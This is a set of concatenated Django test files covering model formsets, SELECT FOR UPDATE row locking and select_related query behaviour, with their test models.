        # you can create a form with no data
        form = Form()
        form_set = FormSet(instance=Restaurant())

        # Now create a new Restaurant and Manager instance
        data = {
            'name': "Guido's House of Pasta",
            'manager_set-TOTAL_FORMS': '1',
            'manager_set-INITIAL_FORMS': '0',
            'manager_set-MAX_NUM_FORMS': '0',
            'manager_set-0-name': 'Guido Van Rossum'
        }
        restaurant = User()
        form = Form(data)
        if form.is_valid():
            restaurant = form.save()
        else:
            self.fail('Errors found on form:%s' % form_set)

        form_set = FormSet(data, instance=restaurant)
        if form_set.is_valid():
            form_set.save()
            manager = Manager.objects.all().values()
            self.assertEqual(manager[0]['name'], 'Guido Van Rossum')
        else:
            self.fail('Errors found on formset:%s' % form_set.errors)

        # Now update the Manager instance
        data = {
            'manager_set-TOTAL_FORMS': '1',
            'manager_set-INITIAL_FORMS': '1',
            'manager_set-MAX_NUM_FORMS': '0',
            'manager_set-0-id': six.text_type(manager[0]['id']),
            'manager_set-0-name': 'Terry Gilliam'
        }
        form_set = FormSet(data, instance=restaurant)
        if form_set.is_valid():
            form_set.save()
            manager = Manager.objects.all().values()
            self.assertEqual(manager[0]['name'], 'Terry Gilliam')
        else:
            self.fail('Errors found on formset:%s' % form_set.errors)

        # Now add a new Manager instance
        data = {
            'manager_set-TOTAL_FORMS': '2',
            'manager_set-INITIAL_FORMS': '1',
            'manager_set-MAX_NUM_FORMS': '0',
            'manager_set-0-id': six.text_type(manager[0]['id']),
            'manager_set-0-name': 'Terry Gilliam',
            'manager_set-1-name': 'John Cleese'
        }
        form_set = FormSet(data, instance=restaurant)
        if form_set.is_valid():
            form_set.save()
            manager = Manager.objects.all().values().order_by('name')
            self.assertEqual(manager[0]['name'], 'John Cleese')
            self.assertEqual(manager[1]['name'], 'Terry Gilliam')
        else:
            self.fail('Errors found on formset:%s' % form_set.errors)

    def test_inline_model_with_to_field(self):
        """
        #13794 --- An inline model with a to_field of a formset with instance
        has working relations.
        """
        FormSet = inlineformset_factory(User, UserSite, exclude=('is_superuser',))

        user = User.objects.create(username="guido", serial=1337)
        UserSite.objects.create(user=user, data=10)
        formset = FormSet(instance=user)

        # Testing the inline model's relation
        self.assertEqual(formset[0].instance.user_id, "guido")

    def test_inline_model_with_to_field_to_rel(self):
        """
        #13794 --- An inline model with a to_field to a related field of a
        formset with instance has working relations.
        """
        FormSet = inlineformset_factory(UserProfile, ProfileNetwork, exclude=[])

        user = User.objects.create(username="guido", serial=1337, pk=1)
        self.assertEqual(user.pk, 1)
        profile = UserProfile.objects.create(user=user, about="about", pk=2)
        self.assertEqual(profile.pk, 2)
        ProfileNetwork.objects.create(profile=profile, network=10, identifier=10)
        formset = FormSet(instance=profile)

        # Testing the inline model's relation
        self.assertEqual(formset[0].instance.profile_id, 1)

    def test_formset_with_none_instance(self):
        "A formset with instance=None can be created. Regression for #11872"
        Form = modelform_factory(User, fields="__all__")
        FormSet = inlineformset_factory(User, UserSite, fields="__all__")

        # Instantiate the Form and FormSet to prove
        # you can create a formset with an instance of None
        Form(instance=None)
        FormSet(instance=None)

    def test_empty_fields_on_modelformset(self):
        """
        No fields passed to modelformset_factory() should result in no fields
        on returned forms except for the id (#14119).
        """
        UserFormSet = modelformset_factory(User, fields=())
        formset = UserFormSet()
        for form in formset.forms:
            self.assertIn('id', form.fields)
            self.assertEqual(len(form.fields), 1)

    def test_save_as_new_with_new_inlines(self):
        """
        Existing and new inlines are saved with save_as_new.

        Regression for #14938.
        """
        efnet = Network.objects.create(name="EFNet")
        host1 = Host.objects.create(hostname="irc.he.net", network=efnet)

        HostFormSet = inlineformset_factory(Network, Host, fields="__all__")

        # Add a new host, modify previous host, and save-as-new
        data = {
            'host_set-TOTAL_FORMS': '2',
            'host_set-INITIAL_FORMS': '1',
            'host_set-MAX_NUM_FORMS': '0',
            'host_set-0-id': six.text_type(host1.id),
            'host_set-0-hostname': 'tranquility.hub.dal.net',
            'host_set-1-hostname': 'matrix.de.eu.dal.net'
        }

        # To save a formset as new, it needs a new hub instance
        dalnet = Network.objects.create(name="DALnet")
        formset = HostFormSet(data, instance=dalnet, save_as_new=True)

        self.assertTrue(formset.is_valid())
        formset.save()
        self.assertQuerysetEqual(
            dalnet.host_set.order_by("hostname"),
            ["<Host: matrix.de.eu.dal.net>", "<Host: tranquility.hub.dal.net>"]
        )

    def test_initial_data(self):
        user = User.objects.create(username="bibi", serial=1)
        UserSite.objects.create(user=user, data=7)
        FormSet = inlineformset_factory(User, UserSite, extra=2, fields="__all__")

        formset = FormSet(instance=user, initial=[{'data': 41}, {'data': 42}])
        self.assertEqual(formset.forms[0].initial['data'], 7)
        self.assertEqual(formset.extra_forms[0].initial['data'], 41)
        self.assertIn('value="42"', formset.extra_forms[1].as_p())


class FormsetTests(TestCase):
    def test_error_class(self):
        '''
        Test the type of Formset and Form error attributes
        '''
        Formset = modelformset_factory(User, fields="__all__")
        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '0',
            'form-0-id': '',
            'form-0-username': 'apollo13',
            'form-0-serial': '1',
            'form-1-id': '',
            'form-1-username': 'apollo13',
            'form-1-serial': '2',
        }
        formset = Formset(data)
        # check if the returned error classes are correct
        # note: formset.errors returns a list as documented
        self.assertIsInstance(formset.errors, list)
        self.assertIsInstance(formset.non_form_errors(), ErrorList)
        for form in formset.forms:
            self.assertIsInstance(form.errors, ErrorDict)
            self.assertIsInstance(form.non_field_errors(), ErrorList)

    def test_initial_data(self):
        User.objects.create(username="bibi", serial=1)
        Formset = modelformset_factory(User, fields="__all__", extra=2)
        formset = Formset(initial=[{'username': 'apollo11'}, {'username': 'apollo12'}])
        self.assertEqual(formset.forms[0].initial['username'], "bibi")
        self.assertEqual(formset.extra_forms[0].initial['username'], "apollo11")
        self.assertIn('value="apollo12"', formset.extra_forms[1].as_p())

    def test_extraneous_query_is_not_run(self):
        Formset = modelformset_factory(Network, fields="__all__")
        data = {'test-TOTAL_FORMS': '1',
                'test-INITIAL_FORMS': '0',
                'test-MAX_NUM_FORMS': '',
                'test-0-name': 'Random Place', }
        with self.assertNumQueries(1):
            formset = Formset(data, prefix="test")
            formset.save()


class CustomWidget(forms.widgets.TextInput):
    pass


class UserSiteForm(forms.ModelForm):
    class Meta:
        model = UserSite
        fields = "__all__"
        widgets = {
            'id': CustomWidget,
            'data': CustomWidget,
        }
        localized_fields = ('data',)


class Callback(object):

    def __init__(self):
        self.log = []

    def __call__(self, db_field, **kwargs):
        self.log.append((db_field, kwargs))
        return db_field.formfield(**kwargs)


class FormfieldCallbackTests(TestCase):
    """
    Regression for #13095 and #17683: Using base forms with widgets
    defined in Meta should not raise errors and BaseModelForm should respect
    the specified pk widget.
    """

    def test_inlineformset_factory_default(self):
        Formset = inlineformset_factory(User, UserSite, form=UserSiteForm, fields="__all__")
        form = Formset().forms[0]
        self.assertIsInstance(form['id'].field.widget, CustomWidget)
        self.assertIsInstance(form['data'].field.widget, CustomWidget)
        self.assertFalse(form.fields['id'].localize)
        self.assertTrue(form.fields['data'].localize)

    def test_modelformset_factory_default(self):
        Formset = modelformset_factory(UserSite, form=UserSiteForm)
        form = Formset().forms[0]
        self.assertIsInstance(form['id'].field.widget, CustomWidget)
        self.assertIsInstance(form['data'].field.widget, CustomWidget)
        self.assertFalse(form.fields['id'].localize)
        self.assertTrue(form.fields['data'].localize)

    def assertCallbackCalled(self, callback):
        id_field, user_field, data_field = UserSite._meta.fields
        expected_log = [
            (id_field, {'widget': CustomWidget}),
            (user_field, {}),
            (data_field, {'widget': CustomWidget, 'localize': True}),
        ]
        self.assertEqual(callback.log, expected_log)

    def test_inlineformset_custom_callback(self):
        callback = Callback()
        inlineformset_factory(User, UserSite, form=UserSiteForm,
                              formfield_callback=callback, fields="__all__")
        self.assertCallbackCalled(callback)

    def test_modelformset_custom_callback(self):
        callback = Callback()
        modelformset_factory(UserSite, form=UserSiteForm,
                             formfield_callback=callback)
        self.assertCallbackCalled(callback)


class BaseCustomDeleteFormSet(BaseFormSet):
    """
    A formset mix-in that lets a form decide if it's to be deleted.
    Works for BaseFormSets. Also works for ModelFormSets with #14099 fixed.

    form.should_delete() is called. The formset delete field is also suppressed.
    """
    def add_fields(self, form, index):
        super(BaseCustomDeleteFormSet, self).add_fields(form, index)
        self.can_delete = True
        if DELETION_FIELD_NAME in form.fields:
            del form.fields[DELETION_FIELD_NAME]

    def _should_delete_form(self, form):
        return hasattr(form, 'should_delete') and form.should_delete()


class FormfieldShouldDeleteFormTests(TestCase):
    """
    Regression for #14099: BaseModelFormSet should use ModelFormSet method _should_delete_form
    """

    class BaseCustomDeleteModelFormSet(BaseModelFormSet, BaseCustomDeleteFormSet):
        """ Model FormSet with CustomDelete MixIn """

    class CustomDeleteUserForm(forms.ModelForm):
        """ A model form with a 'should_delete' method """
        class Meta:
            model = User
            fields = "__all__"

        def should_delete(self):
            """ delete form if odd PK """
            return self.instance.pk % 2 != 0

    NormalFormset = modelformset_factory(User, form=CustomDeleteUserForm, can_delete=True)
    DeleteFormset = modelformset_factory(User, form=CustomDeleteUserForm, formset=BaseCustomDeleteModelFormSet)

    data = {
        'form-TOTAL_FORMS': '4',
        'form-INITIAL_FORMS': '0',
        'form-MAX_NUM_FORMS': '4',
        'form-0-username': 'John',
        'form-0-serial': '1',
        'form-1-username': 'Paul',
        'form-1-serial': '2',
        'form-2-username': 'George',
        'form-2-serial': '3',
        'form-3-username': 'Ringo',
        'form-3-serial': '5',
    }

    delete_all_ids = {
        'form-0-DELETE': '1',
        'form-1-DELETE': '1',
        'form-2-DELETE': '1',
        'form-3-DELETE': '1',
    }

    def test_init_database(self):
        """ Add test data to database via formset """
        formset = self.NormalFormset(self.data)
        self.assertTrue(formset.is_valid())
        self.assertEqual(len(formset.save()), 4)

    def test_no_delete(self):
        """ Verify base formset doesn't modify database """
        # reload database
        self.test_init_database()

        # pass standard data dict & see none updated
        data = dict(self.data)
        data['form-INITIAL_FORMS'] = 4
        data.update({
            'form-%d-id' % i: user.pk
            for i, user in enumerate(User.objects.all())
        })
        formset = self.NormalFormset(data, queryset=User.objects.all())
        self.assertTrue(formset.is_valid())
        self.assertEqual(len(formset.save()), 0)
        self.assertEqual(len(User.objects.all()), 4)

    def test_all_delete(self):
        """ Verify base formset honors DELETE field """
        # reload database
        self.test_init_database()

        # create data dict with all fields marked for deletion
        data = dict(self.data)
        data['form-INITIAL_FORMS'] = 4
        data.update({
            'form-%d-id' % i: user.pk
            for i, user in enumerate(User.objects.all())
        })
        data.update(self.delete_all_ids)
        formset = self.NormalFormset(data, queryset=User.objects.all())
        self.assertTrue(formset.is_valid())
        self.assertEqual(len(formset.save()), 0)
        self.assertEqual(len(User.objects.all()), 0)

    def test_custom_delete(self):
        """ Verify DeleteFormset ignores DELETE field and uses form method """
        # reload database
        self.test_init_database()

        # Create formset with custom Delete function
        # create data dict with all fields marked for deletion
        data = dict(self.data)
        data['form-INITIAL_FORMS'] = 4
        data.update({
            'form-%d-id' % i: user.pk
            for i, user in enumerate(User.objects.all())
        })
        data.update(self.delete_all_ids)
        formset = self.DeleteFormset(data, queryset=User.objects.all())

        # verify two were deleted
        self.assertTrue(formset.is_valid())
        self.assertEqual(len(formset.save()), 0)
        self.assertEqual(len(User.objects.all()), 2)

        # verify no "odd" PKs left
        odd_ids = [user.pk for user in User.objects.all() if user.pk % 2]
        self.assertEqual(len(odd_ids), 0)


class RedeleteTests(TestCase):
    def test_resubmit(self):
        u = User.objects.create(username='foo', serial=1)
        us = UserSite.objects.create(user=u, data=7)
        formset_cls = inlineformset_factory(User, UserSite, fields="__all__")
        data = {
            'serial': '1',
            'username': 'foo',
            'usersite_set-TOTAL_FORMS': '1',
            'usersite_set-INITIAL_FORMS': '1',
            'usersite_set-MAX_NUM_FORMS': '1',
            'usersite_set-0-id': six.text_type(us.pk),
            'usersite_set-0-data': '7',
            'usersite_set-0-user': 'foo',
            'usersite_set-0-DELETE': '1'
        }
        formset = formset_cls(data, instance=u)
        self.assertTrue(formset.is_valid())
        formset.save()
        self.assertEqual(UserSite.objects.count(), 0)
        formset = formset_cls(data, instance=u)
        # Even if the "us" object isn't in the DB any more, the form
        # validates.
        self.assertTrue(formset.is_valid())
        formset.save()
        self.assertEqual(UserSite.objects.count(), 0)

    def test_delete_already_deleted(self):
        u = User.objects.create(username='foo', serial=1)
        us = UserSite.objects.create(user=u, data=7)
        formset_cls = inlineformset_factory(User, UserSite, fields="__all__")
        data = {
            'serial': '1',
            'username': 'foo',
            'usersite_set-TOTAL_FORMS': '1',
            'usersite_set-INITIAL_FORMS': '1',
            'usersite_set-MAX_NUM_FORMS': '1',
            'usersite_set-0-id': six.text_type(us.pk),
            'usersite_set-0-data': '7',
            'usersite_set-0-user': 'foo',
            'usersite_set-0-DELETE': '1'
        }
        formset = formset_cls(data, instance=u)
        us.delete()
        self.assertTrue(formset.is_valid())
        formset.save()
        self.assertEqual(UserSite.objects.count(), 0)






from django.db import models


class Person(models.Model):
    name = models.CharField(max_length=30)












from __future__ import unicode_literals

import threading
import time

from multiple_database.routers import TestRouter

from django.db import DatabaseError, connection, router, transaction
from django.test import (
    TransactionTestCase, override_settings, skipIfDBFeature,
    skipUnlessDBFeature,
)
from django.test.utils import CaptureQueriesContext

from .models import Person


class SelectForUpdateTests(TransactionTestCase):

    available_apps = ['select_for_update']

    def setUp(self):
        # This is executed in autocommit mode so that code in
        # run_select_for_update can see this data.
        self.person = Person.objects.create(name='Reinhardt')

        # We need another database connection in transaction to test that one
        # connection issuing a SELECT ... FOR UPDATE will block.
        self.new_connection = connection.copy()

    def tearDown(self):
        try:
            self.end_blocking_transaction()
        except (DatabaseError, AttributeError):
            pass
        self.new_connection.close()

    def start_blocking_transaction(self):
        self.new_connection.set_autocommit(False)
        # Start a blocking transaction. At some point,
        # end_blocking_transaction() should be called.
        self.cursor = self.new_connection.cursor()
        sql = 'SELECT * FROM %(db_table)s %(for_update)s;' % {
            'db_table': Person._meta.db_table,
            'for_update': self.new_connection.ops.for_update_sql(),
        }
        self.cursor.execute(sql, ())
        self.cursor.fetchone()

    def end_blocking_transaction(self):
        # Roll back the blocking transaction.
        self.new_connection.rollback()
        self.new_connection.set_autocommit(True)

    def has_for_update_sql(self, queries, **kwargs):
        # Examine the SQL that was executed to determine whether it
        # contains the 'SELECT..FOR UPDATE' stanza.
        for_update_sql = connection.ops.for_update_sql(**kwargs)
        return any(for_update_sql in query['sql'] for query in queries)

    @skipUnlessDBFeature('has_select_for_update')
    def test_for_update_sql_generated(self):
        """
        Test that the backend's FOR UPDATE variant appears in
        generated SQL when select_for_update is invoked.
        """
        with transaction.atomic(), CaptureQueriesContext(connection) as ctx:
            list(Person.objects.all().select_for_update())
        self.assertTrue(self.has_for_update_sql(ctx.captured_queries))

    @skipUnlessDBFeature('has_select_for_update_nowait')
    def test_for_update_sql_generated_nowait(self):
        """
        Test that the backend's FOR UPDATE NOWAIT variant appears in
        generated SQL when select_for_update is invoked.
        """
        with transaction.atomic(), CaptureQueriesContext(connection) as ctx:
            list(Person.objects.all().select_for_update(nowait=True))
        self.assertTrue(self.has_for_update_sql(ctx.captured_queries, nowait=True))

    @skipUnlessDBFeature('has_select_for_update_skip_locked')
    def test_for_update_sql_generated_skip_locked(self):
        """
        Test that the backend's FOR UPDATE SKIP LOCKED variant appears in
        generated SQL when select_for_update is invoked.
        """
        with transaction.atomic(), CaptureQueriesContext(connection) as ctx:
            list(Person.objects.all().select_for_update(skip_locked=True))
        self.assertTrue(self.has_for_update_sql(ctx.captured_queries, skip_locked=True))

    @skipUnlessDBFeature('has_select_for_update_nowait')
    def test_nowait_raises_error_on_block(self):
        """
        If nowait is specified, we expect an error to be raised rather
        than blocking.
        """
        self.start_blocking_transaction()
        status = []

        thread = threading.Thread(
            target=self.run_select_for_update,
            args=(status,),
            kwargs={'nowait': True},
        )

        thread.start()
        time.sleep(1)
        thread.join()
        self.end_blocking_transaction()
        self.assertIsInstance(status[-1], DatabaseError)

    @skipUnlessDBFeature('has_select_for_update_skip_locked')
    def test_skip_locked_skips_locked_rows(self):
        """
        If skip_locked is specified, the locked row is skipped resulting in
        Person.DoesNotExist.
        """
        self.start_blocking_transaction()
        status = []
        thread = threading.Thread(
            target=self.run_select_for_update,
            args=(status,),
            kwargs={'skip_locked': True},
        )
        thread.start()
        time.sleep(1)
        thread.join()
        self.end_blocking_transaction()
        self.assertIsInstance(status[-1], Person.DoesNotExist)

    @skipIfDBFeature('has_select_for_update_nowait')
    @skipUnlessDBFeature('has_select_for_update')
    def test_unsupported_nowait_raises_error(self):
        """
        DatabaseError is raised if a SELECT...FOR UPDATE NOWAIT is run on
        a database backend that supports FOR UPDATE but not NOWAIT.
        """
        with self.assertRaisesMessage(DatabaseError, 'NOWAIT is not supported on this database backend.'):
            with transaction.atomic():
                Person.objects.select_for_update(nowait=True).get()

    @skipIfDBFeature('has_select_for_update_skip_locked')
    @skipUnlessDBFeature('has_select_for_update')
    def test_unsupported_skip_locked_raises_error(self):
        """
        DatabaseError is raised if a SELECT...FOR UPDATE SKIP LOCKED is run on
        a database backend that supports FOR UPDATE but not SKIP LOCKED.
        """
        with self.assertRaisesMessage(DatabaseError, 'SKIP LOCKED is not supported on this database backend.'):
            with transaction.atomic():
                Person.objects.select_for_update(skip_locked=True).get()

    @skipUnlessDBFeature('has_select_for_update')
    def test_for_update_requires_transaction(self):
        """
        Test that a TransactionManagementError is raised
        when a select_for_update query is executed outside of a transaction.
        """
        with self.assertRaises(transaction.TransactionManagementError):
            list(Person.objects.all().select_for_update())

    @skipUnlessDBFeature('has_select_for_update')
    def test_for_update_requires_transaction_only_in_execution(self):
        """
        Test that no TransactionManagementError is raised
        when select_for_update is invoked outside of a transaction -
        only when the query is executed.
        """
        people = Person.objects.all().select_for_update()
        with self.assertRaises(transaction.TransactionManagementError):
            list(people)

    def run_select_for_update(self, status, **kwargs):
        """
        Utility method that runs a SELECT FOR UPDATE against all
        Person instances. After the select_for_update, it attempts
        to update the name of the only record, save, and commit.

        This function expects to run in a separate thread.
        """
        status.append('started')
        try:
            # We need to enter transaction management again, as this is done on
            # per-thread basis
            with transaction.atomic():
                person = Person.objects.select_for_update(**kwargs).get()
                person.name = 'Fred'
                person.save()
        except (DatabaseError, Person.DoesNotExist) as e:
            status.append(e)
        finally:
            # This method is run in a separate thread. It uses its own
            # database connection. Close it without waiting for the GC.
            connection.close()

    @skipUnlessDBFeature('has_select_for_update')
    @skipUnlessDBFeature('supports_transactions')
    def test_block(self):
        """
        Check that a thread running a select_for_update that
        accesses rows being touched by a similar operation
        on another connection blocks correctly.
        """
        # First, let's start the transaction in our thread.
        self.start_blocking_transaction()

        # Now, try it again using the ORM's select_for_update
        # facility. Do this in a separate thread.
        status = []
        thread = threading.Thread(
            target=self.run_select_for_update, args=(status,)
        )

        # The thread should immediately block, but we'll sleep
        # for a bit to make sure.
        thread.start()
        sanity_count = 0
        while len(status) != 1 and sanity_count < 10:
            sanity_count += 1
            time.sleep(1)
        if sanity_count >= 10:
            raise ValueError('Thread did not run and block')

        # Check the person hasn't been updated. Since this isn't
        # using FOR UPDATE, it won't block.
        p = Person.objects.get(pk=self.person.pk)
        self.assertEqual('Reinhardt', p.name)

        # When we end our blocking transaction, our thread should
        # be able to continue.
        self.end_blocking_transaction()
        thread.join(5.0)

        # Check the thread has finished. Assuming it has, we should
        # find that it has updated the person's name.
        self.assertFalse(thread.isAlive())

        # We must commit the transaction to ensure that MySQL gets a fresh read,
        # since by default it runs in REPEATABLE READ mode
        transaction.commit()

        p = Person.objects.get(pk=self.person.pk)
        self.assertEqual('Fred', p.name)

    @skipUnlessDBFeature('has_select_for_update')
    def test_raw_lock_not_available(self):
        """
        Check that running a raw query which can't obtain a FOR UPDATE lock
        raises the correct exception
        """
        self.start_blocking_transaction()

        def raw(status):
            try:
                list(
                    Person.objects.raw(
                        'SELECT * FROM %s %s' % (
                            Person._meta.db_table,
                            connection.ops.for_update_sql(nowait=True)
                        )
                    )
                )
            except DatabaseError as e:
                status.append(e)
            finally:
                # This method is run in a separate thread. It uses its own
                # database connection. Close it without waiting for the GC.
                connection.close()

        status = []
        thread = threading.Thread(target=raw, kwargs={'status': status})
        thread.start()
        time.sleep(1)
        thread.join()
        self.end_blocking_transaction()
        self.assertIsInstance(status[-1], DatabaseError)

    @skipUnlessDBFeature('has_select_for_update')
    @override_settings(DATABASE_ROUTERS=[TestRouter()])
    def test_select_for_update_on_multidb(self):
        query = Person.objects.select_for_update()
        self.assertEqual(router.db_for_write(Person), query.db)

    @skipUnlessDBFeature('has_select_for_update')
    def test_select_for_update_with_get(self):
        with transaction.atomic():
            person = Person.objects.select_for_update().get(name='Reinhardt')
        self.assertEqual(person.name, 'Reinhardt')

    def test_nowait_and_skip_locked(self):
        with self.assertRaisesMessage(ValueError, 'The nowait option cannot be used with skip_locked.'):
            Person.objects.select_for_update(nowait=True, skip_locked=True)






"""
Tests for select_related()

``select_related()`` follows all relationships and pre-caches any foreign key
values so that complex trees can be fetched in a single query. However, this
isn't always a good idea, so the ``depth`` argument control how many "levels"
the select-related behavior will traverse.
"""

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# Who remembers high school biology?


@python_2_unicode_compatible
class Domain(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Kingdom(models.Model):
    name = models.CharField(max_length=50)
    domain = models.ForeignKey(Domain, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Phylum(models.Model):
    name = models.CharField(max_length=50)
    kingdom = models.ForeignKey(Kingdom, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Klass(models.Model):
    name = models.CharField(max_length=50)
    phylum = models.ForeignKey(Phylum, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Order(models.Model):
    name = models.CharField(max_length=50)
    klass = models.ForeignKey(Klass, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Family(models.Model):
    name = models.CharField(max_length=50)
    order = models.ForeignKey(Order, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Genus(models.Model):
    name = models.CharField(max_length=50)
    family = models.ForeignKey(Family, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Species(models.Model):
    name = models.CharField(max_length=50)
    genus = models.ForeignKey(Genus, models.CASCADE)

    def __str__(self):
        return self.name

# and we'll invent a new thing so we have a model with two foreign keys


@python_2_unicode_compatible
class HybridSpecies(models.Model):
    name = models.CharField(max_length=50)
    parent_1 = models.ForeignKey(Species, models.CASCADE, related_name='child_1')
    parent_2 = models.ForeignKey(Species, models.CASCADE, related_name='child_2')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Topping(models.Model):
    name = models.CharField(max_length=30)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Pizza(models.Model):
    name = models.CharField(max_length=100)
    toppings = models.ManyToManyField(Topping)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class TaggedItem(models.Model):
    tag = models.CharField(max_length=30)

    content_type = models.ForeignKey(ContentType, models.CASCADE, related_name='select_related_tagged_items')
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')

    def __str__(self):
        return self.tag


@python_2_unicode_compatible
class Bookmark(models.Model):
    url = models.URLField()
    tags = GenericRelation(TaggedItem)

    def __str__(self):
        return self.url












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.test import SimpleTestCase, TestCase

from .models import (
    Bookmark, Domain, Family, Genus, HybridSpecies, Kingdom, Klass, Order,
    Phylum, Pizza, Species, TaggedItem,
)


class SelectRelatedTests(TestCase):

    @classmethod
    def create_tree(cls, stringtree):
        """
        Helper to create a complete tree.
        """
        names = stringtree.split()
        models = [Domain, Kingdom, Phylum, Klass, Order, Family, Genus, Species]
        assert len(names) == len(models), (names, models)

        parent = None
        for name, model in zip(names, models):
            try:
                obj = model.objects.get(name=name)
            except model.DoesNotExist:
                obj = model(name=name)
            if parent:
                setattr(obj, parent.__class__.__name__.lower(), parent)
            obj.save()
            parent = obj

    @classmethod
    def setUpTestData(cls):
        cls.create_tree("Eukaryota Animalia Anthropoda Insecta Diptera Drosophilidae Drosophila melanogaster")
        cls.create_tree("Eukaryota Animalia Chordata Mammalia Primates Hominidae Homo sapiens")
        cls.create_tree("Eukaryota Plantae Magnoliophyta Magnoliopsida Fabales Fabaceae Pisum sativum")
        cls.create_tree("Eukaryota Fungi Basidiomycota Homobasidiomycatae Agaricales Amanitacae Amanita muscaria")

    def test_access_fks_without_select_related(self):
        """
        Normally, accessing FKs doesn't fill in related objects
        """
        with self.assertNumQueries(8):
            fly = Species.objects.get(name="melanogaster")
            domain = fly.genus.family.order.klass.phylum.kingdom.domain
            self.assertEqual(domain.name, 'Eukaryota')

    def test_access_fks_with_select_related(self):
        """
        A select_related() call will fill in those related objects without any
        extra queries
        """
        with self.assertNumQueries(1):
            person = (
                Species.objects
                .select_related('genus__family__order__klass__phylum__kingdom__domain')
                .get(name="sapiens")
            )
            domain = person.genus.family.order.klass.phylum.kingdom.domain
            self.assertEqual(domain.name, 'Eukaryota')

    def test_list_without_select_related(self):
        """
        select_related() also of course applies to entire lists, not just
        items. This test verifies the expected behavior without select_related.
        """
        with self.assertNumQueries(9):
            world = Species.objects.all()
            families = [o.genus.family.name for o in world]
            self.assertEqual(sorted(families), [
                'Amanitacae',
                'Drosophilidae',
                'Fabaceae',
                'Hominidae',
            ])

    def test_list_with_select_related(self):
        """
        select_related() also of course applies to entire lists, not just
        items. This test verifies the expected behavior with select_related.
        """
        with self.assertNumQueries(1):
            world = Species.objects.all().select_related()
            families = [o.genus.family.name for o in world]
            self.assertEqual(sorted(families), [
                'Amanitacae',
                'Drosophilidae',
                'Fabaceae',
                'Hominidae',
            ])

    def test_list_with_depth(self):
        """
        Passing a relationship field lookup specifier to select_related() will
        stop the descent at a particular level. This can be used on lists as
        well.
        """
        with self.assertNumQueries(5):
            world = Species.objects.all().select_related('genus__family')
            orders = [o.genus.family.order.name for o in world]
            self.assertEqual(sorted(orders), ['Agaricales', 'Diptera', 'Fabales', 'Primates'])

    def test_select_related_with_extra(self):
        s = (Species.objects.all()
             .select_related()
             .extra(select={'a': 'select_related_species.id + 10'})[0])
        self.assertEqual(s.id + 10, s.a)

    def test_certain_fields(self):
        """
        The optional fields passed to select_related() control which related
        models we pull in. This allows for smaller queries.

        In this case, we explicitly say to select the 'genus' and
        'genus.family' models, leading to the same number of queries as before.
        """
        with self.assertNumQueries(1):
            world = Species.objects.select_related('genus__family')
            families = [o.genus.family.name for o in world]
            self.assertEqual(sorted(families), ['Amanitacae', 'Drosophilidae', 'Fabaceae', 'Hominidae'])

    def test_more_certain_fields(self):
        """
        In this case, we explicitly say to select the 'genus' and
        'genus.family' models, leading to the same number of queries as before.
        """
        with self.assertNumQueries(2):
            world = Species.objects.filter(genus__name='Amanita')\
                .select_related('genus__family')
            orders = [o.genus.family.order.name for o in world]
            self.assertEqual(orders, ['Agaricales'])

    def test_field_traversal(self):
        with self.assertNumQueries(1):
            s = (Species.objects.all()
                 .select_related('genus__family__order')
                 .order_by('id')[0:1].get().genus.family.order.name)
            self.assertEqual(s, 'Diptera')

    def test_depth_fields_fails(self):
        with self.assertRaises(TypeError):
            Species.objects.select_related('genus__family__order', depth=4)

    def test_none_clears_list(self):
        queryset = Species.objects.select_related('genus').select_related(None)
        self.assertIs(queryset.query.select_related, False)

    def test_chaining(self):
        parent_1, parent_2 = Species.objects.all()[:2]
        HybridSpecies.objects.create(name='hybrid', parent_1=parent_1, parent_2=parent_2)
        queryset = HybridSpecies.objects.select_related('parent_1').select_related('parent_2')
        with self.assertNumQueries(1):
            obj = queryset[0]
            self.assertEqual(obj.parent_1, parent_1)
            self.assertEqual(obj.parent_2, parent_2)

    def test_select_related_after_values(self):
        """
        Running select_related() after calling values() raises a TypeError
        """
        message = "Cannot call select_related() after .values() or .values_list()"
        with self.assertRaisesMessage(TypeError, message):
            list(Species.objects.values('name').select_related('genus'))

    def test_select_related_after_values_list(self):
        """
        Running select_related() after calling values_list() raises a TypeError
        """
        message = "Cannot call select_related() after .values() or .values_list()"
        with self.assertRaisesMessage(TypeError, message):
            list(Species.objects.values_list('name').select_related('genus'))


class SelectRelatedValidationTests(SimpleTestCase):
    """
    select_related() should thrown an error on fields that do not exist and
    non-relational fields.
    """
    non_relational_error = "Non-relational field given in select_related: '%s'. Choices are: %s"
    invalid_error = "Invalid field name(s) given in select_related: '%s'. Choices are: %s"

    def test_non_relational_field(self):
        with self.assertRaisesMessage(FieldError, self.non_relational_error % ('name', 'genus')):
            list(Species.objects.select_related('name__some_field'))

        with self.assertRaisesMessage(FieldError, self.non_relational_error % ('name', 'genus')):
            list(Species.objects.select_related('name'))

        with self.assertRaisesMessage(FieldError, self.non_relational_error % ('name', '(none)')):
            list(Domain.objects.select_related('name'))

    def test_non_relational_field_nested(self):
        with self.assertRaisesMessage(FieldError, self.non_relational_error % ('name', 'family')):
            list(Species.objects.select_related('genus__name'))

    def test_many_to_many_field(self):
        with self.assertRaisesMessage(FieldError, self.invalid_error % ('toppings', '(none)')):
            list(Pizza.objects.select_related('toppings'))

    def test_reverse_relational_field(self):
        with self.assertRaisesMessage(FieldError, self.invalid_error % ('child_1', 'genus')):
            list(Species.objects.select_related('child_1'))

    def test_invalid_field(self):
        with self.assertRaisesMessage(FieldError, self.invalid_error % ('invalid_field', 'genus')):
            list(Species.objects.select_related('invalid_field'))

